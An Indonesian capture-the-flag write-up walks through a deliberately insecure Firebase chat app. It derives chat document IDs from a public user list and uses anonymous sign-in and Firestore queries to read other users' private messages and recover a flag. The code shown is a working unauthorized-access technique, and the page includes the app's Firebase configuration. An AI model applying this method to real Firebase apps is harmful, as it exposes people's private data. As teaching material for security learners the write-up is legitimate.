Write Up Challenge Shl Firebase Chat App
02 Oct 2019Hai, sebelumnya aku berterima kasih sekali kepada admin dan seluruh teman2 SHL karena sudah mau mencoba aplikasi chat yang ta karuan ini.
Oke, langsung ke pembahasan.
Mari kita coba informasi terlebih dahulu dari challenge yg diberikan. Berikut info2 yang mungkin saja penting:
- Link https://level-windflower.glitch.me
- Link solver https://level-windflower.glitch.me/solver
- Maybe u found a secret message there
- Any signed-in user can access this document
Info setelah cek aplikasi:
<!-- pada tanggal 30 september, tikus sedang bicara rahasia nya -->
- Aplikasi menggunakan Firebase
<!-- The core Firebase JS SDK is always required and must be listed first -->
<script src="https://www.gstatic.com/firebasejs/6.6.2/firebase-app.js"></script>
<script src="https://www.gstatic.com/firebasejs/6.6.2/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/6.6.2/firebase-firestore.js"></script>
- Menggunakan Javascript
- Info dari Wappalizer juga sama yaitu: databasenya Firebase, programmingnya NodeJs, frameworknya pakai Express.
Karena aplikasi ini pake javascript saja untuk mengolah tampilannya, mari kita cari pelajari cara kerja aplikasi melalui file javascriptnya. link https://level-windflower.glitch.me/client.js.
Berikut hasil pengamatannya:
- Authentikasi menggunakan firebase auth dengan Provider Email & Anonymous.
var uiConfig = { signInSuccessUrl: 'https://level-windflower.glitch.me/', signInOptions: [ firebase.auth.EmailAuthProvider.PROVIDER_ID, firebaseui.auth.AnonymousAuthProvider.PROVIDER_ID ], // Required to enable one-tap sign-up credential helper. credentialHelper: firebaseui.auth.CredentialHelper.GOOGLE_YOLO }; // Initialize the FirebaseUI Widget using Firebase. var ui = new firebaseui.auth.AuthUI(firebase.auth()); // The start method will wait until the DOM is loaded. ui.start('#firebaseui-auth-container', uiConfig);
- Ketika proses authentikasi berhasil, mengambil dan menampilkan data user dan daftar user yang terdaftar.
getUsers(); const getUsers = function() { fetch('https://level-windflower.glitch.me/api/users') .then(function(response) { if (!response.ok) { throw Error(response.statusText); } // Read the response as json. return response.json(); }) .then(function(users) { users.forEach(function(user) { const newListItem = document.createElement('li'); const anchor = document.createElement('a'); anchor.href = '#'; anchor.onclick = function() { getChats(user.id, user.name); }; anchor.innerHTML = user.name; newListItem.appendChild(anchor); document.getElementById('users').appendChild(newListItem); }); }) .catch(function(error) { console.log('Looks like there was a problem: \n', error); }); };
- Kita juga dapat mengetahui jika daftar user yang terdaftar diambil dari https://level-windflower.glitch.me/api/users.
- Jika salah satu user diklik, maka data chat dengan user yang diklik diambil.
anchor.onclick = function() { getChats(user.id, user.name); };
Mungkin kegiatan ini lebih cocok untuk seorang developer, tapi temen2 pasti seorang yang suka belajar tentunya. Nah kita masuk pada fungsi yang penting, mari coba pelajari fungsi getChats nya!
- Fungsi menerima 2 parameter yaitu
uid
danname
,name
tipenya optional.const getChats = function(uid, name = "") {
- Diawal, fungsi mendefinisikan 3 variabel yaitu
db
,user
dandocIdChat
.const db = firebase.firestore(); const user = firebase.auth().currentUser; const docIdChat = (user.uid > uid) ? uid + user.uid : user.uid + uid;
- Variabel
uid
yang diterima oleh fungsi itu value nya apa sih?, dapat kita tahu dari fungsigetUsers
bahwauid
itu diambil dari/api/users
yang value nya seperti ini02f9LgFjghS0wdkv5OqSVP0Jju83
. - Lanjut lagi ke fungsi, setelah definisi fungsi kemudian mengambil data dari collection
chats
yang data arrayusers
nya mengandunguser.uid
db.collection("chats").where("users", "array-contains", user.uid).get()
user.uid
ini sepertinya id dari user yang berhasil login dan mirip denganuid
tadi.- Lanjut lagi, setelah mangambil data chat, data yang didapat tadi di loop dan ada pengecekan
if (doc.id == docIdChat) {
. Variabeldoc.id
isinya apa masih belum tahu namun untukdocIdChat
bisa kita ketahui. - Mari kita pahami
docIdChat
, variabel ini isinya terdiri dari gabungan 2 variabel yaituuid
&user.uid
dan value yang terkecil berada didepan. Misal adaabc
&def
makadocIdChat
nyaabcdef
. - Jadi kita dapat kita asumsikan kan bahwa document id data yang ambil dari collection
chats
adalah gabungan dari 2 id user yang chat. Dan itu menjadi identitas dari setiap chat yang terjadi.
Bukti dari asumsi diatas adalah :
<!-- kondisi form saat chat -->
<!-- dapat dilihat dengan inspect element -->
<form>
<input type="hidden" id="to" name="to" value="1Crs8h43eKM61nHZ7IW9gWD76lI2">
<input type="hidden" id="docId" name="doc_id" value="1Crs8h43eKM61nHZ7IW9gWD76lI2AklnM0ECqthXXM5EH7SthK1mR4E2">
<textarea name="text" placeholder="message" width="100%"></textarea>
<input type="submit" value="Send">
</form>
// ditemukan juga pada saat mau mengirim pesan
let docId = document.getElementById('docId').value;
let newDocId = (chat.to > chat.from) ? chat.from + chat.to : chat.to + chat.from;
Dari asumsi ini seperti cukup untuk bisa mendapatkan isi chat milik orang lain, yaitu dengan melihat list data user dari /api/users, kemudian kita buat document id milik orang lain.
Nah, mari kita coba lakukan itu. Sebelumnya kita cari tahu bagaimana caranya? Dan seperti pake code ini, seperti yang didalam fungsi.
db.collection("chats").doc(doc.id).collection("items").orderBy("createdAt")
.onSnapshot(function(querySnapshot) {
Bagaimana ya agar kita bisa merubah doc.id
sesuka hati ku? Em, aku coba buat file html sendiri saja, trus konfigurasi load firebase nya copy dari web ini.
Dan kurang lebih hasilnya seperti ini
<!DOCTYPE html>
<html lang="en">
<head>
<title>Welcome to Glitch!</title>
<meta name="description" content="A cool thing made with Glitch">
<link id="favicon" rel="icon" href="https://glitch.com/edit/favicon-app.ico" type="image/x-icon">
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<!-- The core Firebase JS SDK is always required and must be listed first -->
<script src="https://www.gstatic.com/firebasejs/6.6.2/firebase-app.js"></script>
<script src="https://www.gstatic.com/firebasejs/6.6.2/firebase-auth.js"></script>
<script src="https://www.gstatic.com/firebasejs/6.6.2/firebase-firestore.js"></script>
<script>
// Your web app's Firebase configuration
var firebaseConfig = {
apiKey: "AIzaSyABsBqC44u7MHNrL10h9e_CbRsR9t8ZH7k",
authDomain: "fullstack-firebase-fdc9b.firebaseapp.com",
databaseURL: "https://fullstack-firebase-fdc9b.firebaseio.com",
projectId: "fullstack-firebase-fdc9b",
storageBucket: "fullstack-firebase-fdc9b.appspot.com",
messagingSenderId: "619860031954",
appId: "1:619860031954:web:a6c3a267cec593f8"
};
// Initialize Firebase
firebase.initializeApp(firebaseConfig);
let db = firebase.firestore();
let docId = '1Crs8h43eKM61nHZ7IW9gWD76lI2AklnM0ECqthXXM5EH7SthK1mR4E2';
db.collection("chats").doc(docId).collection("items")
.onSnapshot(function(querySnapshot) {
querySnapshot.forEach(function(doc) {
console.log(doc.data());
});
});
</script>
</body>
Dan setelah aku coba jalankan, ternyata aku mendapatkan pesan error.
Uncaught Error in onSnapshot: FirebaseError: "Missing or insufficient permissions."
Emm, aku tahu ini kenapa? seperti karena aku belum melakukan sign in. Bagaimana aku bisa melakukan sign in? Oke berdasarkan petunjuk disini https://firebase.google.com/docs/auth/web/anonymous-auth, kita bisa menambahkan code ini.
firebase.auth().signInAnonymously().catch(function(error) {
// Handle Errors here.
var errorCode = error.code;
var errorMessage = error.message;
// ...
});
Dan seperti pada file client.js
, kita perlu tambahkan jadi seperti ini.
firebase.auth().onAuthStateChanged(function(user) {
if (user) {
let db = firebase.firestore();
let docId = '1Crs8h43eKM61nHZ7IW9gWD76lI2AklnM0ECqthXXM5EH7SthK1mR4E2';
db.collection("chats").doc(docId).collection("items")
.onSnapshot(function(querySnapshot) {
querySnapshot.forEach(function(doc) {
console.log(doc.data());
});
});
}
// ...
});
Dan yeyy, berhasil.
Object { createdAt: {…}, from: "AklnM0ECqthXXM5EH7SthK1mR4E2", text: "Hai" }
Oke teman2, masih lanjut lagi. Sekarang bagaimana cara kita menemukan pesan rahasia? Dari info yang kita dapat sebelumnya
<!-- pada tanggal 30 september, tikus sedang bicara rahasia nya -->
Yang berarti kemungkinan pesan rahasia itu terkirim pada tanggal 30 September dan yang mengirim adalah tikus.
Kita coba cari tikus ini pada /api/users
!. Dan benar, kita menemukannya.
{"id":"AklnM0ECqthXXM5EH7SthK1mR4E2","name":"Tikus","email":"anonymouse@tikus.com","createdAt":"Mon, 30 Sep 2019 15:19:50 GMT"}
Sekarang kita cari tahu dengan siapa si tikus ini berbicara? Kita hanya punya satu petunjuk yaitu pasti user itu tidak tercreate setelah 30 Sep bukan?.
Berarti kita coba filter users terlebih dahulu dari api/users
yang daftar tidak lebih dari 30 Sep. Bagaimana caranya? Oke, kita cobasimpan sebagai json saja api/users
nya dan nanti kita pakai fungsi javascript fetch
dan array filter.
Kurang lebih code nya seperti ini.
fetch('users.json')
.then(function(response) {
if (!response.ok) {
throw Error(response.statusText);
}
// Read the response as json.
return response.json();
})
.then(function(users) {
let validUsers = users.filter(function(user) {
let createdAt = new Date(user.createdAt);
let tiga_satu_september = new Date(2019, 8, 31);
if (createdAt.getTime() < tiga_satu_september.getTime()) {
return true;
}
return false;
});
})
.catch(function(error) {
console.log('Looks like there was a problem: \n', error);
});
Nah setelah itu kita bisa deh buat document id nya dan nyari chat rahasinya. Kurang lebih code nya jadi seperti ini.
fetch('users.json')
.then(function(response) {
if (!response.ok) {
throw Error(response.statusText);
}
// Read the response as json.
return response.json();
})
.then(function(users) {
let validUsers = users.filter(function(user) {
let createdAt = new Date(user.createdAt);
let tiga_satu_september = new Date(2019, 8, 31);
if (createdAt.getTime() < tiga_satu_september.getTime()) {
return true;
}
return false;
});
let db = firebase.firestore();
validUsers.forEach(function(user) {
var tikus = 'AklnM0ECqthXXM5EH7SthK1mR4E2';
var docId = (user.id > tikus) ? tikus + user.id : user.id + tikus;
db.collection("chats").doc(docId).collection("items")
.onSnapshot(function(querySnapshot) {
querySnapshot.forEach(function(doc) {
console.log(doc.data());
});
});
});
})
.catch(function(error) {
console.log('Looks like there was a problem: \n', error);
});
Dan Alhamdulillah, kita sepertinya mendapatkannya.
Object { createdAt: {…}, from: "6TnSsggCYfV5oUSWgmscDPtLMcZ2", text: "nice, hai kawan" }
Object { createdAt: {…}, from: "AklnM0ECqthXXM5EH7SthK1mR4E2", text: "curl -H \"Content-Type: application/json\" -H \"X-Flag-Token: flag\" -X POST -d '{\"name\":\"your name\"}'" }
Object { createdAt: {…}, from: "AklnM0ECqthXXM5EH7SthK1mR4E2", text: "simpan itu" }
Object { createdAt: {…}, from: "6TnSsggCYfV5oUSWgmscDPtLMcZ2", text: "sepoi angin malam menyapa" }
Object { createdAt: {…}, from: "AklnM0ECqthXXM5EH7SthK1mR4E2", text: "tikus tikus liar mulai bekerja" }
Object { createdAt: {…}, from: "AklnM0ECqthXXM5EH7SthK1mR4E2", text: "Fl49{FrBs_Th4nk5_943ss5}" }
Object { createdAt: {…}, from: "qS0wR16CE8gMVQewTegF4TUQWbs2", text: "A" }
Dari hasil diatas kita dapatkan
Fl49{FrBs_Th4nk5_943ss5}
curl -H \"Content-Type: application/json\" -H \"X-Flag-Token: flag\" -X POST -d '{\"name\":\"your name\"}'
Sebelum kita sudah diberi tahu info link solver nya, mungkin command curl
diatas di arahkan kesana. Oke mari kita coba.
$ curl -H "Content-Type: application/json" -H "X-Flag-Token: Fl49{FrBs_Th4nk5_943ss5}" -X POST -d '{"name":"uddin_mtm"}' https://level-windflower.glitch.me/solver
Document created%
Alhamdulillah selesai cerita ini. Hehehe
Terima kasih untuk semuanya, banyak ilmu yang telah saya dapat dari teman2 semua. Sehingga saya bisa buat seperti ini.
Kurang lebih nya mohon dimaafin ya!